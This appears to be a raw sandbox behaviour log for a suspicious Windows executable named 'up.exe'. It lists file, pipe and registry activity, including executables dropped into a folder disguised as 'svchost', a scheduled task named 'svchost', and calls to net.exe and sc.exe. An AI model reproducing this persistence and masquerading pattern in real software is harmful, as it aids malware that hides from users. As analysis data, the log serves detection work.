C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\XWCRG.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\XWCRG.resources\XWCRG.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\XWCRG.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\XWCRG.resources\XWCRG.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\XWCRG.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\XWCRG.resources\XWCRG.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\XWCRG.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\XWCRG.resources\XWCRG.resources.exe
C:\Users\Seven01\AppData\Roaming\svchost
C:\Users\Seven01\AppData\Roaming
C:\Users\Seven01\AppData\Local\Temp\it-IT\ClassLibrary1.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\ClassLibrary1.resources\ClassLibrary1.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\ClassLibrary1.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\ClassLibrary1.resources\ClassLibrary1.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\ClassLibrary1.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\ClassLibrary1.resources\ClassLibrary1.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\ClassLibrary1.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\ClassLibrary1.resources\ClassLibrary1.resources.exe
C:\Users\Seven01\AppData\Roaming\svchost\conhost.exe
C:\Users\Seven01\AppData\Roaming\svchost\aUUUUU.xml
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\shell32.dll
\??\MountPointManager
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI
C:\Windows\Fonts\staticcache.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Configuration\2.0.0.0__b03f5f7f11d50a3a\System.Configuration.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.Xml.INI
C:\Users\Seven01\AppData\Local\Temp\1.exe
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll
C:\Windows\Globalization\en.nlp
C:\Windows\System32\tzres.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll
C:\Users\Seven01\AppData\Local\Temp\2.exe
C:\Users\Seven01\AppData\Local\Temp\3.exe
C:\Users\Seven01\AppData\Local\Temp\4.exe
C:\Users\Seven01\AppData\Local\Temp\5.exe
C:\Users\Seven01\AppData\Local\Temp\6.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2320.18049968
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2320.18049984
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2320.18050109
C:\Windows\Globalization\Sorting\sortdefault.nls
\Device\LanmanDatagramReceiver
C:\Windows\sysnative\Tasks
C:\Windows\sysnative\Tasks\*
C:\Windows\sysnative\Tasks\Adobe Flash Player Updater
C:\Windows\SysWOW64\net.exe
C:\Windows\SysWOW64
C:\Windows\sysnative\Tasks\svchost\svchost
C:\Windows\sysnative\Tasks\svchost
C:\Windows\SysWOW64\net1.exe
C:\Windows\AppPatch\sysmain.sdb
C:\Windows\SysWOW64\
C:\Windows\SysWOW64\*.*
C:\Windows\SysWOW64\ui\SwDRM.dll
C:\Windows\Temp\fwtsqmfile00.sqm
C:\Windows\Temp\fwtsqmfile01.sqm
C:\Windows\sysnative\Tasks\svchost\
C:\Windows\SysWOW64\svchost.exe
C:\Windows\appcompat\Programs\RecentFileCache.bcf
\Device\Ndis
C:\Windows\SysWOW64\shdocvw.dll
C:\Windows\sysnative\Tasks\Microsoft\Windows\WDI\ResolutionHost
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
C:\ProgramData\Microsoft\Network\
C:\ProgramData\Microsoft\Network\Downloader\
C:\Windows\sysnative\tzres.dll
C:\Windows\SysWOW64\sc.exe
C:\Windows\SysWOW64\it-IT\sc.exe.mui
C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat
C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat
\??\PIPE\samr
C:\DosDevices\pipe\
C:\Windows\sysnative\Tasks\Microsoft\Windows\SoftwareProtectionPlatform
C:\Windows\sysnative\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\*
C:\Windows\sysnative\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask
C:\Users\Seven01\AppData\Roaming\
C:\Windows\SysWOW64\.IgHiJkLiO
C:\Windows\Temp
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp
C:\Windows\ServiceProfiles
C:\Windows\ServiceProfiles\NetworkService
C:\Windows\sysnative\LogFiles\Scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50
C:\Windows\sysnative
\??\SPDevice
C:\Windows\sysnative\spp\plugin-manifests-signed\sppwinob-spp-plugin-manifest-signed.xrm-ms
C:\Windows\sysnative\sppwinob.dll
C:\Windows\sysnative\spp\plugin-manifests-signed\sppobjs-spp-plugin-manifest-signed.xrm-ms
C:\Windows\sysnative\sppobjs.dll
C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SoftwareProtectionPlatform\Cache\
C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SoftwareProtectionPlatform\Cache\cache.dat
C:
\??\PhysicalDrive0
\??\pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{c2d43895-0262-4873-a789-c2f96d24b693}
\??\root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{684bb8b6-2793-49a5-8012-e0a941b4b4df}
\??\root#*isatap#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{5f6d61d9-d207-449a-bd48-652a5d1f25be}
\??\root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{29898c9d-b0a4-4fef-bdb6-57a562022cee}
\??\root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{e43d242b-9eab-4626-a952-46649fbb939a}
\??\root#ms_ndiswanbh#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\ndiswanbh
\??\root#ms_ndiswanip#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\ndiswanip
\??\root#ms_ndiswanipv6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\ndiswanipv6
\??\root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{8e301a52-affa-4f49-b9ca-c79096a1a056}
\??\root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{df4a9d2c-8742-4eb1-8703-d395c4183f33}
\??\root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{71f897d7-eb7c-4d8d-89db-ac80d9dd2270}
\??\root#system#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{eeab7790-c514-11d1-b42b-00805fc1270e}&asyncmac
C:\Windows\sysnative\shell32.dll
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\ThumbCacheToDelete
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1024.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\up.exe.config
C:\Users\Seven01\AppData\Local\Temp\up.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\System32\l_intl.nls
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\assembly\pubpol21.dat
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\Fonts\staticcache.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Windows\System32\tzres.dll
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Users\Seven01\AppData\Roaming\svchost\aUUUUU.xml
\Device\LanmanDatagramReceiver
C:\Windows\SysWOW64\net.exe
C:\Windows\SysWOW64\net1.exe
C:\Windows\AppPatch\sysmain.sdb
C:\Windows\SysWOW64\
C:\Windows\Temp\fwtsqmfile01.sqm
C:\Windows\sysnative\Tasks\svchost\svchost
C:\Windows\SysWOW64\svchost.exe
C:\Windows\appcompat\Programs\RecentFileCache.bcf
\Device\Ndis
C:\Windows\SysWOW64\shdocvw.dll
C:\Windows\sysnative\Tasks\Microsoft\Windows\WDI\ResolutionHost
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
C:\Windows\sysnative\tzres.dll
C:\Windows\SysWOW64\sc.exe
C:\Windows\SysWOW64\it-IT\sc.exe.mui
C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat
C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat
\??\PIPE\samr
C:\Windows\sysnative\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask
C:\Windows\sysnative\LogFiles\Scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50
C:\Windows\sysnative
C:\Windows\sysnative\spp\plugin-manifests-signed\sppwinob-spp-plugin-manifest-signed.xrm-ms
C:\Windows\sysnative\sppwinob.dll
C:\Windows\sysnative\spp\plugin-manifests-signed\sppobjs-spp-plugin-manifest-signed.xrm-ms
C:\Windows\sysnative\sppobjs.dll
C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SoftwareProtectionPlatform\Cache\cache.dat
\??\pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{c2d43895-0262-4873-a789-c2f96d24b693}
\??\root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{684bb8b6-2793-49a5-8012-e0a941b4b4df}
\??\root#*isatap#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{5f6d61d9-d207-449a-bd48-652a5d1f25be}
\??\root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{29898c9d-b0a4-4fef-bdb6-57a562022cee}
\??\root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{e43d242b-9eab-4626-a952-46649fbb939a}
\??\root#ms_ndiswanbh#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\ndiswanbh
\??\root#ms_ndiswanip#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\ndiswanip
\??\root#ms_ndiswanipv6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\ndiswanipv6
\??\root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{8e301a52-affa-4f49-b9ca-c79096a1a056}
\??\root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{df4a9d2c-8742-4eb1-8703-d395c4183f33}
\??\root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{71f897d7-eb7c-4d8d-89db-ac80d9dd2270}
\??\root#system#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{eeab7790-c514-11d1-b42b-00805fc1270e}&asyncmac
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1024.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Write Files

C:\Users\Seven01\AppData\Roaming\svchost\conhost.exe
C:\Users\Seven01\AppData\Roaming\svchost\aUUUUU.xml
C:\Users\Seven01\AppData\Local\Temp\1.exe
C:\Users\Seven01\AppData\Local\Temp\2.exe
C:\Users\Seven01\AppData\Local\Temp\3.exe
C:\Users\Seven01\AppData\Local\Temp\4.exe
C:\Users\Seven01\AppData\Local\Temp\5.exe
C:\Users\Seven01\AppData\Local\Temp\6.exe
\Device\LanmanDatagramReceiver
C:\Windows\sysnative\Tasks\svchost\svchost
C:\Windows\Temp\fwtsqmfile01.sqm
C:\Windows\appcompat\Programs\RecentFileCache.bcf
\Device\Ndis
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat
C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat
\??\PIPE\samr
C:\Users\Seven01\AppData\Roaming\
C:\Windows\SysWOW64\svchost.exe
C:\Windows\SysWOW64\.IgHiJkLiO
\??\SPDevice
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1024.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db

Delete Files

C:\Users\Seven01\AppData\Roaming\svchost\aUUUUU.xml
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2320.18049968
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2320.18049984
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2320.18050109
C:\Users\Seven01\AppData\Roaming\

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\up.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3dac3cdb\33c79954
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\60537472\5056e384
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|up.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|up.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|up.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\60537472\4a422835
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
